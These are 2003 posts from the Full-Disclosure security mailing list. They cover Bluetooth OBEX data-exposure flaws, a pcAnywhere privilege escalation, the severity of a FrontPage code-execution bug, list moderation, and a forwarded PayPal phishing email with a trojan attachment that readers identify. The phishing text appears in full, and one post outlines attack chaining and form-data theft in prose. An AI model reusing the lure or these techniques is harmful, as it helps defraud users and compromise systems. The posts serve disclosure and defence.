Re: [Full-Disclosure] Re: Serious flaws in bluetooth security lead to disclosure of personal data
On Thu, 13 Nov 2003, Pentest Security Advisories wrote: > A recent posting from A.L. Digital suggests that security flaws exist in > Bluetooth, while not describing the vulnerabilities in any technical > detail. This email concerns itself specifically with the vulnerabilities > related to retrieval of personal information from devices. > The ultimate fix is for manufacturers to provide a greater separation of > services, an attitude that seems to have been taken with the Ericsson T610. I'm a bit confused; if I read it right, the first report specifically mentioned this as a vulnerable device, now it's listed as one that got it right? Did I misread? -- Jordan Wiens, CISSP UF Network Incident Response Team (352)392-2061 ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
--On Thursday, November 13, 2003 4:46 PM -0800 Josh <[EMAIL PROTECTED]> wrote: It is people like you who will drive this list into the ground. The only reason you are here is to hear yourself talk and possibly to get some 0-day sploitz that you can impress your computer lab buddies with. Just one comment. I'll never understand what the fascination is with "0-day sploitz". Who really cares? Do you seriously think most professionals are salivating waiting for them? Paul Schmehl ([EMAIL PROTECTED]) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: Serious flaws in bluetooth security lead to disclosure of personal data
Pentest Security Advisories wrote: Fixes. == 1) Only enable Bluetooth when absolutely necessary. 2) Place the device in non-discoverable mode. While this does not correct the fault, it is harder to find the target device. There can be problems with this, some Nokia devices fail will to connect properly when hidden. Hint: After powering on or enabling bluetooth on the 6310i put the phone in discoverable mode, connect the required devices and after that put the phone in non-discoverable mode. At least the HDW-2 heatset will then be able to connect while the 6310i is in non-discoverable mode. -- Andreas Steinmetz ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] RE: Secure Network Operations SRT2003-11-13-0218, PCAnywhere allows local users to become SYSTEM
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Symantec Security Response Advisory 13 November 2003 Symantec pcAnywhere Service-Mode Help File Elevation of Privilege Risk Impact High (very dependent on product configuration and operating environment) Overview Security analysts from Secure Network Operations notified Symantec of a vulnerability in the Symantec pcAnywhere application. Depending on the configuration, a non-privileged user could access and manipulate Symantec pcAnywhere's help function to gain privileged access on the local system. Affected Components Symantec pcAnywhere version 11 Symantec pcAnywhere version 10.x Details Secure Network Operations analysts notified Symantec of an issue they discovered in the functionality of the help interface in the Symantec pcAnywhere GUI. By effectively manipulating the help interface, Secure Network Operations analysts were able to demonstrate that a non-privileged user could gain privileged access to files or functionality on the local system with Symantec pcAnywhere running in service-mode. Symantec pcAnywhere can be run in various configurations. It can run either in "application-mode" or it can be configured in "service-mode" to launch as a service whenever the host boots up. Symantec pcAnywhere is ONLY vulnerable to this issue when running in service-mode. Symantec pcAnywhere is NOT vulnerable in application-mode. In order for Secure Network Operations analysts to exploit this vulnerability, they configured Symantec pcAnywhere to run as a service so it would launch on system start-up. In this configuration, a non-privileged user, provided they have user access to that specific host, could log onto the system where Symantec pcAnywhere is running. While the non-privileged user cannot access the remote functionality of Symantec pcAnywhere without additional authorization/authentication, the non-privileged user can still access the help file from the Symantec pcAnywhere GUI. The Symantec pcAnywhere help functionality is implemented using an interface to the Windows operating system help function. This interface was made to provide the user with a common interface that the user understands, is use to, and is able to implement quickly and easily. However, there was a weakness in the way the interface was made that permits the Window help functionality to assume permissions from Symantec pcAnywhere. When run in service-mode Symantec pcAnywhere runs with SYSTEM privileges. By effectively manipulating the help interface in the Symantec pcAnywhere GUI, the non-privileged user may gain the ability to search all system files, assume full permission for all directories and files on the host system, or even add themselves to the local administrative group. Symantec Response Symantec verified this vulnerability does exist in the service-mode configuration of currently supported releases of Symantec pcAnywhere. This issue has been rectified and fixes are available via LiveUpdate to Symantec pcAnywhere. Mitigating Circumstances While this potentially is a high-risk vulnerability, there are various mitigating circumstances that greatly reduce the risk of intentional or inadvertent exploitation of this weakness in Symantec pcAnywhere. * Symantec pcAnywhere must first be configured as a service by an admin-level user, launched and running on the machine BEFORE a non-privileged user could exploit this vulnerability o If the host service is not running when the non-privileged user logs on the machine in question, they have NO ABILITY to configure and launch Symantec pcAnywhere in a manner where this exploit will be present o Setting up the Symantec pcAnywhere Host service (and launching it) requires administrative privileges * The user must have a user-account on the host system and be logged on interactively to exploit this issue * This issue cannot be exploited remotely * System privileges can be gained only on the local system, which normally limits the impact to the user system * Although Symantec pcAnywhere allows remote control and management of other systems, additional identification and authentication is required by default to gain access to any remotely managed systems o Just gaining SYSTEM-level access on the local host does not provide additional access to any remote system(s) through Symantec pcAnywhere * Access to remote administration capability should normally be restricted to trusted Administrators only with additional restricted access to the physical host system(s) Symantec strongly recommends all users of supported versions of Symantec pcAnywhere update to the latest LiveUpdate packages to prevent potential misuse of this local access weakness. Credit Symantec takes the security and proper functionality of its products very seriously. Symantec appreciates the efforts of KF and the Security Network Operations security team in identifying this issue and coordinating with Symantec during the fix process. CVE The Common
Re: [Full-Disclosure] Feeding Stray Cats
On Thu, Nov 13, 2003 at 10:57:52AM -0400, Stephen Clowater wrote: > True, But the problem with the announce list is it does take away the > disccusion of issues, which is what this list is about. The issue is it > has been polluted with crap, and bitching about that crap (ie - This > email :) ) and has deaparted from the breif, proffessional, meaningful > discussions about security issues, to a form that resembles an IRC channel. Maybe not, if all posts to the announce list is also sent to the disscusion list, for disccusion. That will be a solution very similar to the one I proposed earlier in this thread. I also suggest a closed admin list, for moderators only, which is where all posts to the announce list go for moderation. It then needs a handler for when any moderator replies to a mail there, then the mail will be accepted, and forwarded to the moderated list. That is IMHO the easiest way to handle many moderators, but then I'm no expert in mail list administration... So if I just want the announcements I subscribe to the announce list, if I want the full discussion and all the flamewars etc. I subscribe to the discussion list instead. -- /~\ The ASCIIKenneth Ekdahl \ / Ribbon Campaign [EMAIL PROTECTED] X Against HTML [EMAIL PROTECTED] / \ Email! http://sensei.nu http://merit.sensei.nu ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Frontpage Extensions Remote Command Execution
| From: [EMAIL PROTECTED] | Sent: Wednesday, November 12, 2003 10:47 AM | To: [EMAIL PROTECTED] | Well, for one, it's not root level. It allows ANONYMOUS | (Guest) access to | a site using FPSE for anyone who can POST to a vulnerable | ISAPI extension. | FPSE is not enabled by default on any OS other than Windows | 2000 Server | series OSes (according to MS), and is usually a security risk anyway. Indeed this flaw does not directly result in "root", SYSTEM, or administrator level code execution. However, it does result in executing code in the context of a shared process/privilege (dllhost) that is used for other critical web components. Its always interesting to me when people down play the severity of a vulnerability by saying "Its only remote code execution as an unprivileged user." That stupid statement should leave any knowledgeable person laughing. But since some people seem confused about this type of flaws severity... What is an unprivileged user? It seems to me that if your attacking a service, and can now execute code as you wish within that service, then you are actually VERY privileged. As in the case of CodeRed and the .ida overflow you could perform in-line API hooking within the affected application. For example since a lot of eCommerce related scripts and ISAPI's are running in dllhost (same privilege/execution as this FrontPage overflow) you can now, with this "unprivileged" attack, intercept critical data and launch further attacks. For example hooking the dllhost outbound data sends, in an effort to attack visitors to the now owned website. Maybe using something like the recent "zero day" (well not anymore) [1]IE Object Bug. Or steal form inputs, and god knows what else. In the end an attacker is still becoming "privileged" to do things that they should not be. While maybe they cant interact with other data/processes on the system, they still can do anything they want to the pr! ocess they are executing code within, and also any data that process has access to. Now you might not agree with the above statements and be ignorant to still think "its just 'unprivileged' code execution, who cares" So then lets move on to the real-world examples of where you combine two attacks. One attack being remote code execution as an "unprivileged" user and the second being a local privilege escalation vulnerability. Take your pick there is a constant stream of local privilege escalation vulnerabilities. I'll actually use a really old example, just to illustrate this style of combined attack is not new. Three years ago, almost to this date, eEye released an [2]advisory on how to gain remote SYSTEM on a Microsoft IIS web server. The vulnerability we discovered was not actually a remote SYSTEM level vulnerability. In fact it was a "local" vulnerability within .ASP file parsing, that would lead to a buffer overflow and code execution as SYSTEM. Combine this "local" SYSTEM privilege elevation with any unprivileged IIS attack (At the time we used Unicode), and b00m, now you have remote SYSTEM. So for example, if this local buffer overflow still existed, you could combine Brett Moores FrontPage attack with this local overflow and now you easily have remote SYSTEM, whereas if you didn't have Brett's flaw, you wouldn't have remote SYSTEM. Anyways again this is a 3 year old example illustrating why these "unprivileged" remote code execution bugs are in fact still VERY relevant and important. Hopefully no one responds saying "yah but that was 3 years ago"... go do some homework, ther! e are plenty of very recent privilege escalation flaws that have been released. In fact Brett Moore himself has released some recently. So I wouldn't put it past him to have an exploit that combines one of those priv flaws with his FrontPage flaw to allow remote SYSTEM shells on vulnerable systems. vegas again soon? :-) As for your comment about Windows 2000... I am not sure what that was about other than to further illustrate how critical this flaw is since your basically saying this flaw affects default installations of the operating system most prevalent and depended on by the majority of the business world. [1] eEye IE Object Bug Advisory - http://www.eeye.com/html/Research/Advisories/AD20030820.html [2] eEye $19.95 "dual-bug" privilege hack http://www.eeye.com/html/Research/Advisories/AD20001003.html | You know, I can't believe that people criticize MS for sitting on the | details of root-level holes when they don't even bother to read the | bulletin. A decent admin would configure FPSE such that this | flaw is a | non-issue. This is because no ordinary user has a reason to | be accessing | FPSE's files. If FPSE is secured, this means that an | attacker is getting | their own privileges back. Its not worth really discussing your comment about how this is a mute issue if administrators would configure their software correctly. Obviously we cannot depend on admini
Re: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Thu, Nov 13, 2003 at 04:43:16PM -0800, Larry Hand wrote: > Anyone else seeing this? It comes with an attachment Paypal.asp.scr. > Anyone know what it is? It sure looks suspicious. I beg your pardon, but ... suspicious ?!?! :) > -- Forwarded Message -- > > Subject: YOUR PAYPAL.COM ACCOUNT EXPIRES > Date: Fri, 14 Nov 2003 03:29:00 -0500 > From: PayPal.com <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] - -- Rodrigo Barbosa <[EMAIL PROTECTED]> "Quid quid Latine dictum sit, altum viditur" "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns) -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/tENnpdyWzQ5b5ckRAsuCAJ9m25kwTnpwR7oV9jaeSKmVg0v8MACgkmbV TThDx7KiEGijiGOhBnr5BwU= =ro3i -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Re: Funny article
On Thu, Nov 13, 2003 at 10:08:13AM -0600, Frank Knobbe wrote: > The reason IIS4+ runs as SYSTEM appears to be to gain performance. Sorry, I do not understand that - why should that improve performance if user SYSTEM is used and not a normal user? > I > guess running IIS as a kernel module and having less context switches > does do well for performance (like an Apache LKM), but unfortunately not > for security. Perhaps one should better have a look at Felix von Leitners work for doing scalable network programming. VB. -- Volker Birk, Postfach 1540, 88334 Bad Waldsee, Germany Phone +49 (7524) 912142, Fax +49 (7524) 996807, [EMAIL PROTECTED] http://fdik.org, Deutsches IRCNet [EMAIL PROTECTED] PGP-Key: http://www.x-pie.de/vb.asc ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] RE: SQL Slammer doing the rounds again?
(hee-hee); nice shots.. > Isn't "should" kind of a "maybe"?? 8-) ..Yep, I was assuming that this was the only reason the poor netadmin had to allow access to the SQL over TCP-1434. My bad... RE: the web designers and their choices; I can't speak to the issues (really; I don't know them) regarding my own company's design choices, but I'll bet they'd love to hear from you directly. The idea of "listen to the customer" is being made very clear to everyone these days. The "squeaky wheel..." and all that. * Jim Harrison MCP(NT4/2K), A+, Network+ Security Business Unit (ISA SE) "I used to hate writing assignments, but now I enjoy them. I realized that the purpose of writing is to inflate weak ideas, obscure poor reasoning, and inhibit clarity. With a little practice, writing can be an intimidating and impenetrable fog!" -Calvin -Original Message- From: Nick FitzGerald [mailto:[EMAIL PROTECTED] Sent: Thursday, November 13, 2003 14:56 To: [EMAIL PROTECTED] Cc: Jim Harrison (ISA); Harlan Carvey; [EMAIL PROTECTED] Subject: RE: SQL Slammer doing the rounds again? "Jim Harrison (ISA)" <[EMAIL PROTECTED]> replied to "Harlan Carvey" <[EMAIL PROTECTED]>: [corrected for top-postingitis] > > While I fully agree w/ Jim's advice, one thing I'm > > still curious about...since we first saw Slammer...is > > this - Is there a valid business reason to expose UDP > > 1434 to the Internet? > > > > I've asked this before and not received any responses. > > > > If anyone has one, I'd love to hear it. Please > > refrain from the "maybes"...I'd like to hear valid > > reasons why this port is exposed. > > The simple answer is, "if the web app is properly designed, coded and > tested, there should be no reason to 'open a port' (apologies to TS) to > the SQL from the Internet. Isn't "should" kind of a "maybe"?? 8-) > > > Unfortunately, there are many folks who have queried the ISA newsgroups > and other ISA lists about how (not why) to allow inbound SQL connections > because many web designers haven't quite caught up to the idea that the > Internet isn't the friendly little sandbox that they seem to believe it > is. > > Consequently, they deploy distributed web apps that expect to have > direct access to a SQL server across whatever network they're installed > in. This often leaves the network admins with one choice; open external > access to the SQL server. > > While it's true that you can IP-restrict that traffic, there's also IP > spoofing to contend with. Many ISP's don't even apply the basic ACLs > that any first-year Cisco intern would have been taught, causing the > plethora of "I'm seeing spoof attack reports from 127.0.0.1" complaints > from many new ISA admins. If the upstream devices were properly > configured, their firewall (app, appliance, monkeys & buckets, etc.) > would never see this traffic in the first place. > > Understood, but I suspect that in Harlan's terms what you have just described is not "a valid business reason". "My developer is a petulant, ignorant brat" is not a valid business reason for doing something that is, from a security standpoint both chronically stupid and thoroughly indefensible. The real problem here though is that the "petulant, ignorant brats" hold too much power. They are (often) seen as "the experts" by the non- technical "I just want an e-commerce solution that works" business folk whose expertise is making widgets not computer security. Or the web designers may be seen as "creative geniuses" whose flashy, whizz-bang "design" would be compromised by even the suggestion from a mere mortal that some mundane, real-world consideration such as system security should be taken into account in the design. And there may well be other common "do not upset the designer/ implementer" reasons others have come across. This raises an intersting point for me though Jim -- which of those is the reason the MS web site as a whole, and the security-oriented parts of it in particular, are _entirely unusable_ for those who choose to vastly improve the security of their default MS-suplied web browser by disabling scripting? Or, put in security terms, why does MS require its users to lower "reasonable" security standards just to use its web site? Isn't that just like the web designers you have just ranted against expecting/requiring worldwide access to SQL servers? Actually it isn't, as this arrogance of Microsoft's affects hugely more (as in many orders of magnitude more) folk... > ..I feel better now... Good -- maybe you'll be up to kicking some MS web-designer butt down the hall... (Oh, and don't throw the "use trusted sites" thing back at me -- your employer has chosen to colo with Akamai which has already infected one of your web pages with Nimda, so we should trust "MS on Akamai" why? BTW, the ironic thing about this is that MS's security pages are _much_ easier to use with your competitor browsers...) Regards, Nick FitzGerald
Re: [Full-Disclosure] Feeding Stray Cats
I had given up on this thread as a loss, but I feel a bit of hope renewed. If you have posts to the announce list post to the open list, it will eliminate the issue of discussion. In this manner you allow those who don't have time to wade through all discussions to be able to weigh in on announcements at their leisure rather than slogging through 50+ posts a day. A similar model which worked well for this was the Attrition defacement list. Attrition.org had a government list which only sent out emails about .gov websites which many gov people had forwarded to their pagers, this would filter out the 300 other sites per day which were owned after the Unicode hole came out. The govt list posts were still sent to the full defacement list, it was just a nice method by which to filter it. If we could get someone to moderate announcements only (of which there are very few) or take announcements and cross post them to another announce only list, it would allow those who need the information in a timely fashion to get it, and be able to review and comment at a later date. Another option is to leave the announce list open, with the understanding that only announcements of a critical nature need be posted there, and that all other posts get posted to FD. I know I didn't need to read Paul's fight with morning wood, or the instruction of someone on how to return a firewall back to defaults (deny all). If people all replied to the posts with proper mail clients, I could just zip up the thread, but unfortunately there are some security professionals out there who don't know how to use their mail clients. If someone begins to abuse the announce list, deal with that topic at that point. Hopefully those who are subscribed would have enough common sense to not abuse the announce list. There IS a reason to change: You WILL drive away anyone with clue if we continue down the same track. My $.02 -Josh Stephen Clowater wrote: True, But the problem with the announce list is it does take away the disccusion of issues, which is what this list is about. The issue is it has been polluted with crap, and bitching about that crap (ie - This email :) ) and has deaparted from the breif, proffessional, meaningful discussions about security issues, to a form that resembles an IRC channel. The list really needs to be loosely moderated, at least for a while. I'm not sure how practical it is to do that, Len could comment more correctly on that point than myself, however, as for a open solution (ie - not moderated), I really do not have any clue on how it could be done. If anyone has an open solution, I think it should be posted to the list and cc'ed to Len. I think this is one off-topic disscusion that we need to have if full disclosure is to reamain a valid forum for discussing in a meaningful, restrained, and proffessional manner (pardon my spelling :) ) Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: Serious flaws in bluetooth security lead to disclosure of personal data
Summary. A recent posting from A.L. Digital suggests that security flaws exist in Bluetooth, while not describing the vulnerabilities in any technical detail. This email concerns itself specifically with the vulnerabilities related to retrieval of personal information from devices. Some of the attacks described have been known about for some time and discussed (or hinted at) in public before, at BlackHat/Defcon (Las Vegas) by FX of Phenoelit (More Embedded Systems), at Defcon by Bruce Potter of Shmoo and most recently by Alexander Grimm, Marcel Holtmann and Andreas Vedral at the Wireless Technologies Congress. Detail. === It is incorrect to assume that these vulnerabilities exist because of a lack of security in Bluetooth itself. These vulnerabilities are purely the result of design errors in the host devices, and Bluetooth is simply the transport mechanism over which the attacks can be carried out. The vulnerabilities occur in some of the OBEX profiles used by manufacturers to transfer arbitrary information via Bluetooth. In particular the OBEX Push Profile is often unprotected whereas the OBEX FTP profile is not. The name of the profile is also misleading as you would believe that the OBEX Push would only allow files to be uploaded. However the profile also allows information retrieval. The OBEX vulnerabilities can be divided into two categories, PUT and GET. As is implied from the names, they refer to information being sent to or returned by the host device. Both PUT and GET actions can be restricted by the need to pair, however some manufacturers have chosen to remove this restriction to add extra features, such as vCard exchanging. It should be noted here that OBEX is protocol independent and it is possible to exploit the vulnerabilities via IrDA and even via serial connection. It should also be noted that OBEX does have the ability to manage authentication. However, this is not used by any of the devices we have tested over the past three months. The rest of the information contained here will be based on un-paired and un-trusted devices attacking a target device. Much more information can be obtained from many devices by physical contact or social engineering, however this is not a deficiency in Bluetooth or the host device. Due to the prompt given by some devices, it is possible to trick the user into pairing. However this is a form of social engineering. These vulnerabilities exist whether the Bluetooth device is in discoverable mode or not. Vulnerabilities. = OBEX PUT vulnerabilities. - This series of attacks relates to the movement of information towards the target device. These attacks are based upon information extracted from the IrMC specification, which describes several interesting files. The IrMC specification can be found at: http://www.irda.org/standards/pubs/IrMC_v1p1Specs_Errata001024.zip These files are often accessible via unprotected Bluetooth profiles. While they can be viewed on protected profiles, some manufacturers choose to also enable this via un-protected profiles such as "OBEX Push". OBEX also has a DELETE action, which is a PUT with an empty body, by pushing to each of the phone book entries it would be possible to overwrite or delete all of the phone book entries. A solution for manufacturers would be to separate the PUT functions into specific profiles and not allow the same actions via all profiles. OBEX GET vulnerabilities. - While similar to the PUT vulnerabilities, these present a much more of a serious threat including invasion of privacy. All vulnerable files are mentioned in the IrMC specification. Once again these files are usually only accessible via protected Bluetooth profiles, however, it appears that some manufacturers have used the same code to implement the un-protected services and thus the files are visible. Fixes. == 1) Only enable Bluetooth when absolutely necessary. 2) Place the device in non-discoverable mode. While this does not correct the fault, it is harder to find the target device. There can be problems with this, some Nokia devices fail will to connect properly when hidden. 3) Refuse any pair attempt or content transfer unless it is from a known and trusted device/source. The ultimate fix is for manufacturers to provide a greater separation of services, an attitude that seems to have been taken with the Ericsson T610. Current state of alerts. The information relating to these vulnerabilities has been in the public domain for some time. However, until the recent bugtraq and full disclosure posts, the consequences of these issues was not widely advertised. A number of affected vendors have already been contacted with varied degrees of response. Researchers. Mark Rowe, Pentest Limited. Tim Hurman, Pentest Limited. Contact: bluetooth at pentest.co.uk ___ Full-Disclosure - We
Re: [Full-Disclosure] Feeding Stray Cats
I had given up on this thread as a loss, but I feel a bit of hope renewed. If you have posts to the announce list post to the open list, it will eliminate the issue of discussion. In this manner you allow those who don't have time to wade through all discussions to be able to weigh in on announcements at their leisure rather than slogging through 50+ posts a day. A similar model which worked well for this was the Attrition defacement list. Attrition.org had a government list which only sent out emails about .gov websites which many gov people had forwarded to their pagers, this would filter out the 300 other sites per day which were owned after the Unicode hole came out. The govt list posts were still sent to the full defacement list, it was just a nice method by which to filter it. If we could get someone to moderate announcements only (of which there are very few) or take announcements and cross post them to another announce only list, it would allow those who need the information in a timely fashion to get it, and be able to review and comment at a later date. Another option is to leave the announce list open, with the understanding that only announcements of a critical nature need be posted there, and that all other posts get posted to FD. I know I didn't need to read Paul's fight with morning wood, or the instruction of someone on how to return a firewall back to defaults (deny all). If people all replied to the posts with proper mail clients, I could just zip up the thread, but unfortunately there are some security professionals out there who don't know how to use their mail clients. If someone begins to abuse the announce list, deal with that topic at that point. Hopefully those who are subscribed would have enough common sense to not abuse the announce list. There IS a reason to change: You WILL drive away anyone with clue if we continue down the same track. My $.02 -Josh Stephen Clowater wrote: True, But the problem with the announce list is it does take away the disccusion of issues, which is what this list is about. The issue is it has been polluted with crap, and bitching about that crap (ie - This email ) and has deaparted from the breif, proffessional, meaningful discussions about security issues, to a form that resembles an IRC channel. The list really needs to be loosely moderated, at least for a while. I'm not sure how practical it is to do that, Len could comment more correctly on that point than myself, however, as for a open solution (ie - not moderated), I really do not have any clue on how it could be done. If anyone has an open solution, I think it should be posted to the list and cc'ed to Len. I think this is one off-topic disscusion that we need to have if full disclosure is to reamain a valid forum for discussing in a meaningful, restrained, and proffessional manner (pardon my spelling ) Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html Stephen Clowater wrote: True, But the problem with the announce list is it does take away the disccusion of issues, which is what this list is about. The issue is it has been polluted with crap, and bitching about that crap (ie - This email :) ) and has deaparted from the breif, proffessional, meaningful discussions about security issues, to a form that resembles an IRC channel. The list really needs to be loosely moderated, at least for a while. I'm not sure how practical it is to do that, Len could comment more correctly on that point than myself, however, as for a open solution (ie - not moderated), I really do not have any clue on how it could be done. If anyone has an open solution, I think it should be posted to the list and cc'ed to Len. I think this is one off-topic disscusion that we need to have if full disclosure is to reamain a valid forum for discussing in a meaningful, restrained, and proffessional manner (pardon my spelling :) ) Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES
.SCR files are Windows screen savers - actally renamed .EXEs - and a well-known way of distributing worms. > -Original Message- > From: Larry Hand [mailto:[EMAIL PROTECTED] > Sent: Thursday, November 13, 2003 7:43 PM > To: [EMAIL PROTECTED] > Subject: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES > > Anyone else seeing this? It comes with an attachment Paypal.asp.scr. > Anyone know what it is? It sure looks suspicious. > > ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES
Hello, Larry. *.scr - equivalent of *.exe files. 100% Trojan horse or another malware. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Larry Hand Sent: 14 ?? 2003 ?. 3:43 To: [EMAIL PROTECTED] Subject: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES Anyone else seeing this? It comes with an attachment Paypal.asp.scr. Anyone know what it is? It sure looks suspicious. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES
Delete it or forward it to [EMAIL PROTECTED] Headers (at least on the copy I received) identify the man behind the curtain as... >From [EMAIL PROTECTED] Thu Nov 13 17:28:51 2003 Return-Path: <[EMAIL PROTECTED]> Received: from 81.249.20.142 (APuteaux-111-1-5-142.w81-249.abo.wanadoo.fr +[81.249.20.142]) The attachment is a yet another trojan-du-jour set to snarf a host of information through lines including but not limited to the following buzzwords: KERNEL32.DLL ADVAPI32.DLL CRTDLL.DLL GDI32.DLL iphlpapi.DLL SHELL32.DLL USER32.DLL wsock32.dll LoadLibraryA GetProcAddress ExitProcess RegCloseKey exit GetStockObject GetNetworkParams ShellExecuteA SetTimer recv (I'm lazy and am pasting only the end of strings output.) Have fun. --ra -- K. Rachael Treu, CISSP rara at navigo dot com ..Fata viam invenient.. On Thu, Nov 13, 2003 at 04:43:16PM -0800, Larry Hand said something to the effect of: > Anyone else seeing this? It comes with an attachment Paypal.asp.scr. > Anyone know what it is? It sure looks suspicious. > > > -- Forwarded Message -- > > Subject: YOUR PAYPAL.COM ACCOUNT EXPIRES > Date: Fri, 14 Nov 2003 03:29:00 -0500 > From: PayPal.com <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > > > Dear PayPal member, > > PayPal would like to inform you about some important information regarding > your PayPal account. This account, which is associated with this email address > will be expiring within five business days. We apologize for any inconvenience > that this may cause, but this is occurring because all of our customers are > required to update their account settings with their personal information. > > We are taking these actions because we are implementing a new security > policy on our website to insure everyone's absolute privacy. To avoid any > > interruption in PayPal services then you will need to run the application that > we have sent with this email (see attachment) and follow the instructions. > Please do not send your personal information through email, as it will not be > as secure. > > IMPORTANT! If you do not update your information with our secure application > within the next five business days then we will be forced to deactivate your > account and you will not be able to use your PayPal account any longer. It > is strongly recommended that you take a few minutes out of your busy day > and complete this now. > > DO NOT REPLY TO THIS MESSAGE VIA EMAIL! This mail is sent by an > automated message system and the reply will not be received. > > Thank you for using PayPal. > > > --- > > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] why commcerical software *could* be better [WAS: Re: [Full-Disclosure] Microsoft prepares security assault on Linux]
> 3. No source (!!) available for people to examine, thus making it, to a >level, harder to locate security "holes" - for outsides in any case. Possibly harder, but the vulnerabilities would still be latent in the software. Last year, I did a presentation on open vs. closed source security at the Open Source Security Summit. In it, I reported on the 10 most commonly reported vulnerability types. When comparing open source versus closed source advisories, I found these semi-surprising results: - format string bugs and symlink errors were reported more often in open source - "malformed input" denial-of-service problems were reported more often in closed source My theory is that since format string bugs and symlinks were found more often in open source because grep-strength auditing tools can be effective in finding the usual suspect functions (yes, I know that grep-strength has its problems with false positives). Does that mean these bugs appear less frequently in closed source? Who knows? but I'd think they'd be about the same. But think of format string bugs, which often appear when the application reports errors. If you were to perform a dynamic audit of an application, you'd have to reproduce the environment that triggers the error, and "top-down" enumerate all possible error conditions and then test them. A lot more difficult than grepping through source code. Same goes for symlink issues. On the other hand, look at "malformed input" DoS. With closed source, there's probably a lot more dynamic analysis going on. Dynamic analysis frequently involves manipulating inputs using fuzzers, etc. It's probably a lot easier to find bugs this way instead of using grep-style analysis (what do you even grep for?). One way of testing this notion is to look at PROTOS-style vulnerability testing suites against both closed and open source products and see if there are any major distinctions. So, it may well be that open source software could benefit from more black box testing, and closed source software could benefit from more audits by third parties who have access to the source code. It's a theory anyway. - Steve ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Fwd: YOUR PAYPAL.COM ACCOUNT EXPIRES
Anyone else seeing this? It comes with an attachment Paypal.asp.scr. Anyone know what it is? It sure looks suspicious. -- Forwarded Message -- Subject: YOUR PAYPAL.COM ACCOUNT EXPIRES Date: Fri, 14 Nov 2003 03:29:00 -0500 From: PayPal.com <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] Dear PayPal member, PayPal would like to inform you about some important information regarding your PayPal account. This account, which is associated with this email address will be expiring within five business days. We apologize for any inconvenience that this may cause, but this is occurring because all of our customers are required to update their account settings with their personal information. We are taking these actions because we are implementing a new security policy on our website to insure everyone's absolute privacy. To avoid any interruption in PayPal services then you will need to run the application that we have sent with this email (see attachment) and follow the instructions. Please do not send your personal information through email, as it will not be as secure. IMPORTANT! If you do not update your information with our secure application within the next five business days then we will be forced to deactivate your account and you will not be able to use your PayPal account any longer. It is strongly recommended that you take a few minutes out of your busy day and complete this now. DO NOT REPLY TO THIS MESSAGE VIA EMAIL! This mail is sent by an automated message system and the reply will not be received. Thank you for using PayPal. --- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Feeding Stray Cats
A preface to this message: I am not partial to ad-hominem attacks, nor feeding flame wars. I feel however, that this is the only way to communicate with the individual I am replying to. My apologies for the chaos I am about to create. I am through with this thread after this post. -Josh Paul, So far, every comment you have made has been inflamatory. It was enough to chime in with the "You'll never succeed in affecting change" post once in this thread. If you have something constructive to add, it might be worth hearing. From what I have read about you and your organization(SEE BELOW), you promote a structure much like what I am proposing. The only difference is that yours is a member's only organization, definitely not friendly to full disclosure, yet you pitched a fit at morning_wood over his decision to withold source to a purported exploit. Not to endorse morning_wood in any way, but: " So there's the 1% l33ts like you, and then there's the 99% of the human populace that has other things to do besides squirrel around with code. I get it." Then there is you, who would rather sit and whine than learn to code. "I learned in high school (which was a long long time ago) that there are those that say they can do something, and then there are those who don't say anything but do a lot. You appear to fall into the first category based on your ramblings." You don't say alot, just the same thing over and over again. It is people like you who will drive this list into the ground. The only reason you are here is to hear yourself talk and possibly to get some 0-day sploitz that you can impress your computer lab buddies with. I once was in a position like yours: During college, I managed all of the VHDL and drafting labs, I had to sit in a lab all day and roll up e-size plots as they came off of the plotter, read logs, read email, and make sure workstations/servers were up. I was called a computer security person because I created and handed out accounts on the engineering unix systems. Back then, that job left me with enough time to sit and fight out flame wars on many lists. Not everyone works in academia, nor does everyone have as much time as you do. Many on this list 